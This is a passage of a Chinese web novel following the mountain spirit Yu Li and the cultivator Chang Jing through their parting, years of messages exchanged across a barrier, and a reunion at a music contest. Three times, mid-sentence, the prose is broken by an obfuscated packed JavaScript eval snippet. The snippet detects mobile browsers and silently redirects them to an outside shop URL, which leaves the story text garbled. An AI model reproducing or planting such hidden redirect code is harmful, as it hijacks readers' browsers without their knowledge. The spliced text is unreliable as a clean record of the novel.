某日巡山后,常瀞欲言又止。 郁离平静开口:“是准备走了吗?” “嗯。” “好。明日一早送你下山。” 入夜。 常瀞像是郁离的小尾巴一样,走到哪跟到哪,足足黏了郁离一天,到晚上睡觉才不得不分开。 常瀞耍赖:“陪我一起睡嘛。” 郁离拒绝:“不能。” “为什么为什么。” “我习惯在树上睡。” “可都最后一晚了。” “快睡。”郁离冷漠转身。 常瀞委屈,但还是乖乖躺回去睡觉。 一炷香后,郁离见常瀞终于睡熟,从窗外的阴影里走出来,悄悄摸到了他的床边。 月光朦胧地攀上常瀞的睡颜。 真美啊,郁离想。 他像着了魔般地伸出手,抚上常瀞白皙的脸颊。 好温暖。 就这样永远把他留下,反正谁也不知道。 郁离的手渐渐下移,扣住了常瀞的脖颈。 “哗。” 窗外一阵风吹过,送来了巨树的叹息。 “孩子。” 郁离一个激灵,回过神来,恋恋不舍地看了一眼常瀞,转身离开。 他来到巨树下。 巨树:“孩子,你心乱了。你为山中之灵,只有你的心灵保持纯净,这座山的守护才会无坚不摧。” 郁离低头:“对不起,我送他走。” 次日清晨,常瀞一起来又挂在了郁离身上。 郁离摆好早饭,捏住银匙,看着还赖在自己身上的常瀞:“要我喂你?” 常瀞安静,从他身上下来。 下山的路上,常瀞一会儿想起忘了东西,一会儿又说想去看看刚下蛋的小鸟一家。 等到了山脚已是正午。 常瀞松开了一直牵着郁离的手,解下右手腕间的金链:“这个留给你,里面是我这几日整理好的,你可能会用到的东西。” 郁离没有推辞,他手心张开,上面是一颗竹笋:“带回去给你阿娘服下,或许能治好她的病。” 常瀞纠正:“是——咱娘。” 郁离:“……” 常瀞不再逗他:“当初救我的就是这个?” 郁离点头。 常瀞珍重地收下,也没有多问。 “那我走了。” “好。” “我真的走了啊。” “好。” “我走啦。” 鼠爷咆哮:“你可快走吧!” 郁离转身,毫不留恋。 这小没良心的。 常瀞气到,跑回来一把抱住郁离:“等我,以后我每年的今日都会回来这里。之前不是试过,在这里能听到外面的鸟鸣。就算我人进不来,也许声音能里外传送。” 郁离点头,扒开常瀞抱住他的手,脚步不停地向山上走去:“走吧。” 常瀞站在原地一动不动,直到郁离走远,才转身离开。 竹林深处,郁离眼圈泛红地看看常瀞渐渐消失的背影,眼睛一眨也不眨。 他们都不知道,这一别,就很多很多年再没相见。 15. 深林(三) 常瀞走后,郁离时常会去那间空着的竹屋坐坐。 竹屋内的摆设没有变,好像常瀞只是出一趟远门,很快还会回来一样。 郁离更加沉默。 鼠爷察觉到这一点,却毫无办法。 一个男人,长那么漂亮干什么,看把我们小鬼害得,终日茶不思,饭不想。 虽然它很不喜欢那个花孔雀,可也承认,确实因为他,郁离变得更有人气儿了。 鼠爷只能默默减少自己的睡觉时间,多陪陪郁离。 郁离明白鼠爷的心思后:“……” 并不需要,谢谢。 时间流逝,转眼就过了一年, 最近郁离的心情略有好转,因为他与常瀞约定的日期就要到了。 他提前好几日就开始坐在山脚下,盼着从山外会传来常瀞的声音。 可等到了约定的那天,常瀞却没有来。 郁离在心里给常瀞找着理由,从日升等到了日落,又等到了下一个日升,山外终于响起了那道声音。 “郁离!我来啦!想我没有!” 郁离“蹭”一下站起来,却嘴硬:“才没有。” “嗯?怎么回事儿?没人吗?我就迟了一天,这小没良心的!” 郁离有些慌了,加大声音:“我在呢!” 那边常瀞还在自说自话:“我出发时被事情绊住了,结束后紧赶慢赶,觉都不敢睡。这小没良心的都不多等一天。” 是他的声音还是太小,外面听不见吗? 郁离大喊:“常瀞!我在呢!” 在一旁的鼠爷也感到了不对劲儿,帮着喊,可常瀞那边还是什么都没听见的样子。 郁离浑身发冷,到底还是他们想得太简单了。 这层结界对声音也是只进不出。 听着常瀞在对面不停地大喊大叫,郁离越来越心急。 怎么办,怎么办,他一直收不到回应,是不是就要走了。 郁离急得无处发泄,转身一脚踢在竹子上。 竹叶晃动,发出簌簌声响。 常瀞修仙,五感比普通人灵敏许多,他听到了竹叶晃动产生的一点声响,便停止了喊叫,细细听了起来。 郁离发觉常瀞忽然不喊了,心头一紧,以为他走了。忽而一想,又发现不对,常瀞的声音是从自己踹完一脚竹子后消失的。 竹子,声音。 难道山中之物自然发出的声响,是可以传出去的吗? 他拾起两块石头,用力地砸出声响。 常瀞惊喜:“是你吗?是你在那边吗!郁离!” 郁离又砸出一声。 常瀞:“是你的话,你就再砸一下。不行,这样,我去年缠着你,让你陪我睡过几夜,你就砸几下。” 郁离:“……” 郁离无语,却还是听话地砸完了十下。 常瀞的语气里洋溢着喜悦:“我就知道,我们小郁离这么乖,怎么可能没等我。” 郁离砸石头,咣咣咣。 外头的人还没高兴多久,语气又低落下去:“这破结界,见不着面就算了,声音也不让人听。” 郁离轻轻敲了几下石头。 常瀞:“算了,没事儿,咱不难过啊。你就听我说吧,反正你平时也不爱说话,你就时不时敲敲石头,让我知道你还在就行了。” 郁离敲敲。 “我方才在周围绕了一圈,没找到结界的入口。奇怪,上次我到底是怎么进来的。哎,都怪我当时伤得太重,头昏昏沉沉的,一点儿印象都没有了。” 郁离席地而坐,听着常瀞在外面絮絮叨叨地讲他过去一年里发生的事情,时不时敲两下手里的石头。 上次一别,常瀞匆匆回到家,迎接他的不是想象中的温情,而是阿爹和大哥在阿娘指挥下的一顿暴打。 他撒娇打滚卖惨,好不容易才安抚下家人。 “对了,阿娘吃了你让我带回去的竹笋,身体大好,这到底是什么灵丹妙药啊。他们都特别感谢你,期待你来家里呢。” 回到宗门后,他便一头扎进了从前最不愿意踏足的藏书楼,花了大半年时间翻完了楼里的所有藏书,仍然一无所获。 他又去找宗门里的长老,也没人听说过这种只进不出的结界,只能推断出是某种失传已久的上古结界。 “抱歉啊,我还那么自信,以为这次来就能把你带出去了。不过,你放心,我还会继续找下去的。” 郁离轻轻敲了一下石头。 其实他比常瀞更清楚,走出碧影山根本就是不可能的事情。 只是他害怕常瀞知道了,就不会再来了。 他与结界都是为守护碧影山而存在,他们本为一体。 结界破,碧影开,意味着他也将死。 常瀞又说好些他的日常趣事,说了很长时间,说到鼠爷都犯困了。 日暮四合,常瀞说得口干舌燥才终于停下,向郁离告别。 “郁离,我该走了。等我,我明年再来。” 回应他的只有石头敲击的一声脆响。 常瀞走后的第二年,依旧没能找到带郁离离开的方法。 二人还是如此,一个说,一个敲。 这一年,常瀞被宗门派出历练。 长老们被上次他单独行动身受重伤给搞怕了,让他结伴行动,毕竟他可是宗门里这一辈最有天赋的。 他带上了自己的两个至交好友,一个叫陶然,是他所在宗门太虚山宗主的孙子,一个叫姬润,是大昭的皇子。 陶然习剑,陶然则懂些阵术医术,他们三人自小相识,配合默契。 不知不觉天色已晚,常瀞起身道别:“郁离,我们,明年再见,有机会带他们来见见你。” 第三年。 常瀞今年来的要比往常早一些,也因此遇上了附近的一场颂神礼。 当地百姓为祈求各路神仙保佑,会在一条河上放写有愿望和祝福的河灯,有拜财神求富贵的、拜月老求姻缘的,好多好多,就是没人拜一拜他的小郁离。 颂神礼特别盛大,无数河灯浮在河面上,几乎映亮了半边天空。 “山鬼不也是山神呐,没人拜,我来拜。我也给我们小郁离放了一盏河灯,要是真能将纸上的心愿送到神仙心里的话就好啦。” 第四年。 常瀞欢快地告诉他,他大哥娶亲了,嫂子长得特别好看,可比起他还是差了那么一点儿。 大哥平时特别严厉,总是板着脸,也不知道像谁,阿爹阿娘都不这样啊。 成亲以后,他却发现,在嫂子面前,大哥可不是这样,有好几次他都撞见大哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196561|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲大嫂。 “郁离,你说成亲是什么感觉呢,就是像大哥大嫂、阿爹阿娘一样,每日一起吃饭一起睡觉吗?那如果这样的话,咱俩不也挺像啊,我觉得跟你待在一起特别舒服,都不会腻的。” 第五年。 常瀞加冠,郁离听出他的声音已经比初见时成熟了很多。 他讲男子加冠的意义,就是已经成年,可以独立了。 他用攒了很久的压岁钱和月钱,偷偷买了一座小宅子,在院子里栽了一片竹林。 “郁离,阿娘近来越发唠叨,你若出来,咱俩在家中听唠叨听烦了,就可以搬出来住在咱俩的小宅子里。” 第六年。 常瀞瞄上了秘境。 为了找出解开封印的办法,常瀞能接触到的、不能接触到的渠道,都想办法去查了,全部一无所获。 陶然提点了一句,他恍然大悟,既是上古结界,那上古秘境里或许会有线索。 “我今年走遍了常开的秘境,没找到什么,还被一个秘境给溜了。那个秘境很是神秘,开启方式不定,时间不定,地点也不定。记载中进去过的人相当少,似乎还看缘分,即使赶上了,也不一定能进去。” “我得知消息匆匆赶去,还是没赶上。不过你放心,我还是会继续找下去的。” 第七年。 今年发生了一件轰动大昭的事情,常瀞所在的大昭,是中原唯二两个强盛的国家。大胤论国力其实更胜一筹,但中原三个古老修仙宗门之中的两个都在大昭,这也是大昭与大胤至今仍能分庭抗礼的原因。 然而就在今年,形势稍有变化。因为处在大胤的修仙宗门之中,有人一跃飞升,登入上清境。 上清境是所有修仙人心中隐秘的愿望。 据传上古时期,魔物滋生之初,有一批人受天道旨意除魔卫道,突破普通修仙者的界限,飞升成仙,从此拥有无边的灵力与漫长的寿命。 “上一次记载中,有修仙者飞升入上清境,好像还是三百年前的大昭和西域一小国。我对此本没有太大兴趣的,人活一世,为这虚无缥缈的可能,将一生奉献给修炼,太傻了。” “可现在我动心了,我若不飞升,即使修为再高,也活不过两百岁。山鬼的寿命很长吧,我怕等我老了,胡子花白满脸皱纹,你却还是少年模样。我决定这次回去要开始努力修炼,不偷懒了,争取也飞升一个!” “郁离,我想你了。” 第八年。 常瀞实打实的在宗门闭关了一整年,一半原因是想入上清境,一半原因是宗门长老给的压力。 “今年没什么趣事儿,都是修炼修炼再修炼。长老们都神情紧绷,说是占出了会有动乱。要我说都是他们瞎操心,占出动乱的那位长老水平极其不稳定,十之有五都是不准的。” “郁离,算算咱们已经八年未见,我好想你。” 第九年。 常瀞风尘仆仆地赶来,尽管他掩饰的很好,郁离还是听出了他语气中的疲惫。 他说,最近朝中有些动荡,阿爹忙得焦头烂额。 周边几个国家也虎视眈眈,他的外祖父,已近古稀之年,怕是也要带兵出征了。 他最后说:“郁离,我有些累,我真的很想你。” 第十年。 常瀞没有来。 16. 试探(一) 第十年。 常瀞没有来。 郁离起初没有太过着急,以为常瀞又被事情绊住了。 可一日,两日,直到一月过去,常瀞依旧未来。 郁离从心慌到焦急,最后,心如死灰。 鼠爷看着他一天天失魂落魄,也不再说常瀞的坏话:“咱们再等等,兴许他最近忙,忙完了就来了。” 郁离摇头。 早知道会有这么一天的,不是吗? 不会有人因为一个虚无缥缈的约定,一年又一年地跑来这荒郊野岭。 与他能有这十年,已是足够幸运。 …… 鸡鸣巷。 天将明,刺眼的阳光照得郁离本能地伸出手遮向眼睛,触手却不是冷硬的木质面具,而是柔软冰冷的皮肤。 郁离一个激灵坐起来,摸到了床边摆着的面具。 从入鸡鸣巷以来,他几乎一直戴着这张面具,一半是因为鸡鸣巷的规矩,接巷主之职,就要抛弃过往。一半是怕常瀞认出自己。 昨夜喝醉了,多半是褚大哥或者施姐姐送他回来,怕戴着面具睡觉不舒服给他摘下来的。 郁离戴好面具,打开店门。 隔壁药铺的店主老茅见他开门:“可算回来了,你平时离开也就走个一两日,这回都多长时间了。要不是施巷主再三给我打保票说你没事儿,我都怀疑你是在外面被人骗走秘密杀害了。” 郁离:“……” 这么多年了,原来他在老茅心里就是这么个会被坏人骗走的弱小形象。 郁离:“少看点儿话本子吧。” 打从郁离入鸡鸣巷起,老茅就是他的邻居。 听施姐姐说,老茅来这儿的时间被她还要长。 与老茅相处时间长了,他好奇地问老茅:“有什么心愿和遗憾,能让你在鸡鸣巷逗留这么长时间。若是不嫌弃,可以告诉我,帮你一块想想办法。” 老茅沉默半晌,给他讲了一个故事。 老茅还活着时,是住在荒山里的角妖一族。角妖头顶天生两角,老茅却只有一角,所以自小就在族中被欺压。 有年冬天大雪,山中食物匮乏,老茅就被同族逼迫去更远的山下找吃的。 饥寒交迫间,老茅昏死过去。 醒来后,他发现自己身在一个暖烘烘的山洞里,火堆前还坐着一个姑娘。 老茅大惊失色,从小他就听同族说,不要同山下的人类打交道,人类会把他们抓走,割掉头上的角。 老茅捂住角,强装凶恶:“人类,我是妖,你再不跑,我就,我就吃了你!” 姑娘一笑,一把将他按倒在地,胸前的两根辫子长长的:“小妖怪,你看你现在有我力气大吗。” 后来不知为何,老茅开始频频在山里遇到那个姑娘。他帮着姑娘采药,姑娘分给他干粮,教他辨识草药。 直到有一天,姑娘告诉他,她要嫁去隔壁的镇上了,以后可能都不会回来了。 郁离:“后来呢。” 老茅:“后来我偷偷去过一次那个镇子,刚好碰到她生产,孩子活了下来,她却死了。我在回山的路上被一个道士发现,就来了鸡鸣巷。” 郁离:“那你的遗憾是她的孩子吗?可算算年龄,孩子这会儿也早该过世了吧。” 老茅:“她死后,那个男人再娶,她的孩子过得很不好,我就每年去照看一二。她的孩子长得像她,性子也像,一点不怕我。就连命……也像,早早就没了,病死的。” 郁离:“那——” 老茅:“我照看那孩子的时候,在巷里开了这间药铺,自学医书,不知不觉也能治些简单的小病。她同我告别的那日,最后还说了,她不那么想嫁人,她想做一名医师。” 郁离:“那咱俩以后就在这儿作伴儿吧,你开你的药铺,我开我的‘妙笔’。” 老茅:“别光说我了,你呢,为什么来这儿?” 郁离:“我和你一样,在心里也藏了个够不着的人。” 郁离扒拉开还想跟他再唠唠的老茅,回到自己的店里开始干活,离开好几日,之接的活儿还得赶出来。 “跟我走!”褚游踏进妙笔大门,“都醒了,就赶紧干活啊,施娘还在乐坊等着呢,你走这段时间巷子里的账册都给你留着呢。” 郁离:“……” 不是,有这么用人的吗,手上一堆活儿,巷子里还有活儿。 郁离叹气:“知道了。” 打两份工可真累啊。 褚游嘴角一咧:“也不是你一个人忙,我一大早也被揪起来,去敲打前几日巷子里闹事儿被抓的几位了。” 郁离刚要出门去乐坊,想到重寒酥,又转回身来,将褚游扯回店里:“我还忘了问了,那位春神是怎么回事啊,你说好要告诉我的。” 褚游倒打一耙:“你不也没告诉我,你和太阴星君这回怎么又勾搭到一起了!” 郁离面色微红:“你别说得那么难听,什么叫勾搭。” 褚游两根手指对着眼睛比划了一下:“你从前只说星君与你是普通旧识,但我可是长了眼睛,八煞流霞阵升起来那晚,你和星君从虞峰的院子回来后,他看你的眼神儿就一直不对劲儿!” “怎,怎么就不对劲。” “我说不上来,反正就是不是看普通旧识的眼神儿。” 郁离抿嘴:“他都没认出我,还谈什么看普通旧识的眼神儿。好啦,我交代完了,该你了。” 褚游别过头:“其实也没什么。你和施娘不都知道,我死前做过将军,但是在做将军之前,我曾是殿下宫中的侍卫。” “殿下,就是春神?。” “是啊。” “那他怎么没认出你啊?” “拜托,你知道殿下有多少侍卫吗?” “那你不想告诉他吗?” “我又和你不一样,你好歹和星君有‘旧识’。我和殿下有什么,我难道告诉他说,你还记得你从前有个小侍卫吗?多蠢呐,更别说咱俩现在都是过一天算一天的。” 郁离听完褚游的最后一句话,不再吭声。 褚游感觉自己说错了话,劝说道:“害,你心里放不下他,他心里八成也有你。也许他并不在意你曾经堕为恶鬼,他爹娘的死我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196562|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉着也是你硬揽在自己头上的。那句话怎么说来着,今朝有酒今朝醉,你俩现在相认了,能快活一天算一天。”(注) 郁离绕过他:“快活过后留给他的就是无尽的痛苦,算了,我去乐坊干活了。” 正午阳光刺眼,郁离慢吞吞朝乐坊走去。 褚游说得对,下次要注意和常瀞保持距离了,不能再由着自己的心靠近。 花间乐坊里静悄悄的,只有几个小厮在洒扫。他拦住一个小厮,问施娘的去向。 小厮:“施巷主在准备过几日的花间会,让您自便。” 郁离挪到顶楼,看着堆满桌案的卷宗:“……” 自便,好一个自便。这么多的卷宗,还想什么常瀞,先干活吧。 郁离兢兢业业勤勤恳恳赶了几日工,总算将巷子里的账册理完,又回到妙笔继续忙自己的生意。 他手执一柄银白小刀,神情专注地雕着手中的一块玉料。 玉料渐渐成型,裙带飘然,头戴天冠,雕的是一尊菩萨。 “呀,兄弟,俺可又遇见你了!啧啧,你可又变得好看了啊。”有些熟悉的大嗓门,郁离想着,手上却没停,刀仍然精准地落在预想的位置上。 “谢谢,我也记得你。”清澈的声音响起,郁离手上的刀一下落偏了。 郁离走到店外,果然是已经下定决心不再靠近的常瀞。 常瀞看到他,头一歪,嘴角翘起,同他打了个无声的招呼。 郁离被那个好看的微笑命中,刚下定要远离的决心,碎了。 马头妖怪用蹄子往头上举了举:“店主,我来看看我的鹿角。” 郁离礼貌回应:“你先进去坐。” 常瀞凑到他跟前:“怎么,上次不是说好要带我逛逛鸡鸣巷,我这现在来了,怎么都不带理我哒。” 郁离垂头:“没有,这不是有客人来,星君先等等。” 马头妖怪看完鹿角的设计图纸很满意的走了,临走前依旧给常瀞夸得花枝乱颤。 店内的博古架上摆满了郁离的做的手工活,常瀞一个一个细细看过去。 “星君,茶泡好了。” 常瀞喝了一口,睫毛颤了颤:“好茶。不过,你怎么知道我爱喝阳羡雪芽。” 郁离心头一紧:“那挺巧,这是我从施姐姐那随手拿的,星君爱喝就好。” 常瀞喔了一声,加重语气:“原来是巧合啊。” 郁离转移话题:“星君一个人来的吗?” 常瀞阴阳怪气:“不是呀,我和寒酥一同来的,刚进巷口就遇见褚游了。人家可比你热情,说着就要带我们去尝一尝巷里的美食。” 郁离装作没听出来:“那,你怎么一个人来这儿了。” “不是你说要带我逛,我就让他俩先走了。怎么,你想赖账啊。” “没有,那我现在关店,我们走吧。” 一餐饭吃完,鸡鸣巷的特色美食打消了些许常瀞因郁离突如其来的冷淡而产生的不满。 他慢悠悠地摇着扇子,借着打量街边商铺,偷瞄郁离。 会是他吗,会是他家小郁离吗。 17. 试探(二) 郁离和小巷主看起来明明是完全不同的两个人。 郁离不太爱说话;小巷主交流与常人无异。 郁离的身形按照山鬼来说,此时应当还是十岁出头的样子;小巷主看起来可不止,只比常瀞低了一个头。 小巷主还会郁离根本接触不到的傀术。 可在太多太多的不同下,其实也掩盖着些藏不住的相同。 比如爱捏人衣角,喜欢毛绒绒的东西,动不动就爱往他脸上飘的视线。 还有,虞府那日为他挡住魔物攻击的身影。 仅凭相识几日的缘分,他怎会毫不犹豫就冲上来。 可若小巷主就是郁离,又为什么装作不认识的样子。 “砰!” 远处烟花绽放,望过去正是花间乐坊的方向。 一团团烟花绽开在乐坊上空,乐坊檐上的琉璃瓦被映的五光十色。 郁离突然调转方向,领着常瀞朝乐坊走去:“瞧我都给忙忘了,星君您真幸运,刚巧赶上鸡鸣巷每年最热闹的一天。” 常瀞一头雾水:“这是往花间乐坊的方向?” “对,今日是乐坊一年一度的花间会。乐坊里的姑娘们都会参加,然后会由现场所有观看表演的人决出舞蹈和曲艺的头名。” 狐族天生擅长歌舞,施娘接手巷主之位后,便一手操办起花间乐坊,收留了不少不愿入轮回留在鸡鸣巷的姑娘。 施娘教她们弹唱跳舞,其中不乏有天资出挑的姑娘,在施娘的调教下越发出色。 慢慢地,在施娘和姑娘们的努力下,花间乐坊的名气越来越大,甚至传到了人间。 花间会,便是乐坊名气变大后,施娘想到的点子。 美其名曰为巷子增加财源,实则郁离和褚游私下猜测,这恐怕也是想满足她们的好胜心。 姑娘们在各自拿手的技艺上谁也不服谁,花间会能给她们一个名正言顺的比拼机会,还能让她们获得更高的人气。 郁离和常瀞踏入乐坊,小厮候在门口为每一位进来的客人在襟口别上了一枝花。 乐坊内已是人声鼎沸,座无虚席,就连过道都站满了人。 一楼中央是一个圆形舞台,平日装饰以素雅为主,但在今夜却被装点的十分华丽。 舞台外缘摆满了鲜花,金红配色的轻纱帷幔层层叠叠从舞台上空垂下,像是造了一场盛大而虚幻的花间梦境。 一楼分布着散座,往楼上走多是雅间。郁离登上重重台阶,左转右转,领着常瀞来到一个干净的雅间,视野极佳。 常瀞坐下:“没想到你还喜欢歌舞呢,在这儿竟有个长期的雅间。” 郁离熟练地沏茶:“没有,这个雅间是施姐姐的,我和褚大哥都能用。花间会施姐姐开舞,应当不会来这儿。褚大哥就不清楚了,花间会这么热闹,他不带春神大人来这儿看看吗?” 常瀞还未回答,便被敲门声打断。 门一开,好几位姑娘涌了进来,脂粉气息瞬间充满了整个雅间。 姑娘们七嘴八舌围住了郁离。 “阿离大人,我这次准备的特别充分,今天您可要把花投给我哟!” “你走开,去年阿离大人投的就是我,今年肯定也一样!” “阿离大人去年也投我了,您可不能把我忘了呀,我若是获胜了想要您做一只金钗!” “我我我,阿离大人看我,您要是今天投我,我就让您摸摸我的尾巴毛!” “她是新来的吧,姐妹们把她拉走,不准用不正当手段。” 姑娘们又和来时一样,拉完票就一阵风般离开,不忘拽着那位企图用尾巴诱惑郁离的狼族姑娘。 郁离狼狈地从姑娘们的包围圈里逃出来,回头有些尴尬地看着常瀞。 常瀞放下茶杯:“没看出来,阿离大人还挺受欢迎呢。” 郁离:“……” 郁离连忙摆手:“不是,我时常来乐坊找施姐姐讨论巷里的事务,有些姑娘常见面,就比较熟悉。” 常瀞:“方才她们说的金钗是什么意思?” 郁离:“是花间会头名的彩头。获胜的姑娘除了能在下一年里获得最好时段的演出机会,还能让我为她们打一件首饰。” 常瀞:“阿离大人会的东西挺多啊。我的发冠也有些旧了,可有这个荣幸劳阿离大人为我打一件?” 郁离:“打打打,求星君别再叫我大人了。” 楼下乐声响起,一位红衣美人佩戴珠帘面纱翩然落在台上,九条狐尾灵活地随着她的动作舞动,正是施娘。 施娘和着乐声吟唱,手中飘带轻柔飘逸,似有重重花瓣飘落,牵动人心。 鼓点越来越急,施娘抛开飘带,手中换了两柄剑。剑如流星,银光闪烁间划出优美的弧线。 曲声止,众人才反应过来施娘已然跳完退场。 无数花枝如雨般砸到台上。 “施巷主不参与比试,各位省省手里的花吧。”直到小厮敲锣大喊,台下的看客才停手。 雅间里郁离赞叹:“施姐姐舞蹈又精进了。” 常瀞点头:“他们扔花是什么意思。” 郁离解释:“看客买完乐坊的花投到台上就相当于投票,不同品种的花代表不同的票数。台上投花计算票数最多的姑娘获胜,投给获胜姑娘票数最多的看客,可以获得一年的前排座位。” 常瀞咂舌:“你们这规则定得挺妙,这花多少钱一枝啊。” 郁离浅笑:“花间会这一晚,能顶鸡鸣巷大半年的营收。” 台下的姑娘们披着面纱开始一一登台,轻柔的舞姿和淙淙的乐曲声交替着出现在台上,一时间乐坊内花香四溢。 常瀞:“她们为何都戴着面纱?” 郁离:“平日她们登台也是如此。施娘定的规矩,说姑娘们是卖艺,不是卖容貌,都戴上面纱,可以让看客专注欣赏姑娘们的才艺。” 郁离一直规规矩矩的坐着,期间还义正言辞地谢绝了小厮专门拿来供他投的一篮花。 常瀞本在摇着扇子惬意地看歌舞,视线不经意间移向貌似专心致志的郁离。他心头一动,起了一个大胆的念头。 说干就干! 常瀞起身:“我方才想到还有事情需要找一下寒酥,先告辞了。” 郁离不解:“这么着急吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196563|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那我陪你去。” 常瀞:“这么想跟我待在一处?” 郁离:“……” 常瀞:“好啦,我就去一下,你安心在这里看,我保证在花间会结束前回来。” 郁离放在膝上的手攥紧:“好,我等你。” 常瀞缓步走出雅间后,步子就变得快了起来。他拦住一个小厮,问了一个问题。 小厮极其震惊,但还是带他去找了施娘。 郁离这边,自常瀞离开雅间,就一直魂不守舍,台下的歌舞也没心情看了。 他不会找完春神就直接回上清境了吧。 有什么事儿这么重要,非得现在去。 不是说这次是正式来感谢鸡鸣巷的吗,不可能就这么走了吧。 类似的念头不断交替出现在郁离心头。 楼下忽然传来一段琵琶的乐音,一个轮指就吸引到了所有人的注意。 郁离向下望去,舞台中央不知何时上来了一位抱着琵琶的白衣美人,面覆白纱,头发简单的披着。 就是如此简单的装扮,却美到让在场所有人移不开视线。 美人抬眼,湘色的眸子像是水波中荡漾的月光,只是弹起的曲子却不似月光般轻柔,反而带着仿佛在战场上厮杀般的凛然激昂。 乐音行过高点,旋律中的杀伐之气一点点消失,变得婉转凄凉,像是在叹兵戈止息后战场上无数被胜利者踩着前进的亡魂。 郁离眼睛一眨不眨地盯着台上人,那人他无论如何都不可能认错,正是方才离开的常瀞! 原来他琵琶弹得这么好啊。 从前两人还在山中,常瀞时常会随手摘下一片竹叶,吹出许多宛转悠扬的小曲儿。 郁离很喜欢听他吹叶笛,觉得比林间的飞鸟唱得好听十倍,不,百倍。 常瀞试图教过他,但他就像缺了这根筋一样,怎么也学不会。 常瀞气得说他是小笨蛋,说完又揉揉他的脑袋:“学不会就算了,我吹给你听。可惜这次出来没带琵琶,琵琶可比叶笛好听多了。说来我这琵琶还是跟阿爹学的,小时候偷看阿爹为阿娘弹,觉得好听又好看,就缠着他要学。” “琵琶?”郁离从未见过琵琶。 常瀞用木棍在地上画了一个大概的形状:“是专门的乐器,自然比这竹叶要好。以后我也弹给你听,你肯定会喜欢。” 郁离这一等就等了好多好多年,没想到今日竟借着这花间会听到了他迟来的琴音。 琵琶声止,台下的叫好声几乎能掀翻屋顶,花雨密集地落在常瀞身侧,堆满了他脚边的空地。 他安静地抱着琵琶,隔着重重花雨,笑意盈盈地望向郁离。 台上的花还在不停地落,郁离开始后悔方才拒绝了小厮提来的那篮花。 他左顾右盼,从来没觉得这雅间的摆设如此简单,连盆花都不摆。 慌乱间,他摸到了进门时,小厮别在胸襟上的花。 那是一枝红色的蔷薇。 红色蔷薇从高处落下,带着郁离襟口的温度,轻柔地穿过花雨,飘向舞台中央的白衣美人。 美人仰头,衔住了那枝花。 18. 试探(三) 郁离直勾勾看着常瀞衔住了自己扔下去的那枝花,面皮发烫,赶紧扭头移开视线。 这人怎么那么能啊,隔着层面纱都能叼住花,还嫌自己不够招人是吗! 扭过头后,郁离又觉得不对劲儿。 凭什么是他不好意思,他又没做什么会令人不好意思的事儿。 郁离把头转回去,鬼鬼祟祟地瞄了一眼楼下,发现方才台上的人已经不见了。 他后退几步,坐回到椅子上,有些失落。 雅间外传来轻快的脚步声,常瀞攥着一枝花推门而入:“噔噔!怎么样!惊不惊喜!” 郁离飞快收拾好起伏波动的心情,用一种十分官方且符合一巷之主人设的语气赞叹:“真是余音绕梁,三日不绝。” 常瀞假意没发现对方的敷衍,摘下面纱,故意又将手里的花放在嘴边,整个人逼到郁离身前:“一点儿惊喜都没有?” 郁离一秒破功,带着凳子后仰:“有有有!” 常瀞被他的反应取悦到了,捏着花枝在手中摇摆,暗示道:“我下台时大致看了一下,我收到的花明显比前面其他人的都多,没什么意外我应当就是今夜弹唱的头名了。” 郁离连声附和:“是是是。” 见他没听懂自己的意思,常瀞恨铁不成钢,直接明示:“那我都是头名了,某人是不是该想想给我打一个什么样的发冠呀。” 郁离反应过来,声音发涩:“星君其实不必如此,你不上这个台,不拿这个头名,我也会为你打的。” 常瀞笑了:“想什么呢,我就是今夜兴致不错,想借着这个发冠,上台奏一曲。非得让我说这么明白,傻不傻。” 郁离呆呆抬头,刚好看到常瀞还未束起的长发在灯下微微泛光:“要不不做发冠了吧,我觉得发簪可能更适合你。” 常瀞正准备束发的手一顿:“好。” 花间会结束,常瀞理所当然地拿下了弹唱的头名。 姑娘们都很不服气,质问施娘。 凭什么让一个外人突然参加啊,还是个男的! 施娘不语,光是看着郁离笑。 笑得郁离脸越来越红,不好意思地出面安抚姑娘们,他会给弹唱第二的姑娘也打一件首饰。 常瀞也客客气气地拱手道歉,真诚得完全看不出一刻钟前,他还在为自己稳拿头名而得意洋洋。 姑娘们最后还是因为瞅见了他好看的脸,这才罢休。 常瀞领着郁离艰难地从姑娘们中间穿过去,向施娘拜别。 二人走出乐坊,晚风轻轻,将喧嚣留到了身后。 夜晚的鸡鸣巷果然如郁离所说,比白日热闹太多。 许多白日紧闭的店门,此刻都灯火通明。 常瀞一路瞧什么都觉得有意思,郁离就跟在他身后时不时介绍一番。 左手边的一间铺子里,脑袋尖而长的老板正在指挥排成一串的小蚌精往货架上跳。 